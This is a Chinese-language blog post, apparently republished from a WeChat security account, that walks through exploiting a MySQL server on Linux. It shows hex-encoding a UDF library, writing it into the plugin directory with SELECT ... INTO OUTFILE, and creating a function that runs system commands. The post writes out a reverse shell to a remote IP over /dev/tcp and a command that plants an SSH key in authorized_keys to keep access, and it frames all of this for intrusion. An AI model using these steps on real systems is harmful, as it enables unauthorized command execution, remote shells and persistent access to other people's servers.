linux Mysql UDF 利用思路详解

  • A+
所属分类:安全文章

在入侵渗透过程中经常会遇到一些孤立的mysql服务器,或者是存在sql注入的web服务器,可以执行我们的命令或者可以直接连接。windows环境中,如果有mysql用户密码,并且允许远程连接,我们可以考虑用msf的mysql_payload,方便快捷,或者用udf的方式来进行操作,linux下面我们首选的就是udf了。不多废话,进入正题。

首先解决udf如何写入的问题,一般mysql的udf函数我们会首选sqlmap自带的几个,但是作为一个so文件,如何写入远程服务器的plugin目录才是我们所要关注的。这里有两种方式,一种是利用--local-infile=1直接加载文件到远程服务器,但是这样需要mysql客户端和服务端的mysql.cnf都要设置--local-infile=1才可以,默认情况下为零.所以,我们选择第二种方案,通过转换把udf转换成16进制后通过

select xxx into outfile (select xx into dumpfile) "/usr/lib/mysql/plugin/fuck.so" 这种方式来创建我们自己的udf。

这里我们使用vim来进行转换,使用xxd命令,

xxd -p lib_mysqludf_sys.so_ >>udf.txt

把转换后的hex文本写入到udf.txt,打开之后我们会发现,已经转换成了hex,但是一个新的问题来了,有很多换行符,这里我们通过sql命令来写入文件的时候,会造成执行多次直到结束,所以我们要去掉换行符,依然用vim编辑器的命令来转换:vi udf.txt

在命令行模式下,光标也移动到第一行,输入命令  :%s/n//g

然后你会发现所有的换行符都被替换掉了,由于需要保存为16进制的文件,所以我们只需要在第一个字符前加上0x,最后加上0000000000000,然后:wq保存退出,这是我们就得到了我们想要的udf转换后的16进制文本。


这时我们可以通过mysql导出udf.so文件到服务器上,

select 0x079cc526040f2bd56640bb……xxxxx……0000000000000 into outfile "/usr/lib/mysql/plugin/fuck.so"

然后创建函数:

create function sys_fuck returns integer soname "fuck.so";

查看我们的函数:

select * from mysql.func;

如果创建函数成功,会有一个叫sys_fuck的函数

接下来我们就可以利用这个udf函数来执行命令了,通常比如,反弹一个shell回来

select sys_fuck("bash -i >& /dev/tcp/192.168.1.104/5678 0>&1");

这样我们只需要在ip为192.168.1.104上监听5678端口,就可以得到mysql服务器的权限。

或者服务器允许ssh外链,我们写一个ssh的key到用户目录(这里需要有一定的权限,请自行测试)

select sys_fuck("echo "ssh-rsa AAAAB3……xxxxx……aeff" > /user/.ssh/authorized_keys");

windows环境的下的利用方法和这个流程一样,唯独需要注意的是,要选择windows下的mysqludf进行转换,一般windows环境下的mysql都以system权限启动,一般udf函数创建成功的话,得到的都是system权限。







本文始发于微信公众号(milsec):linux Mysql UDF 利用思路详解

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: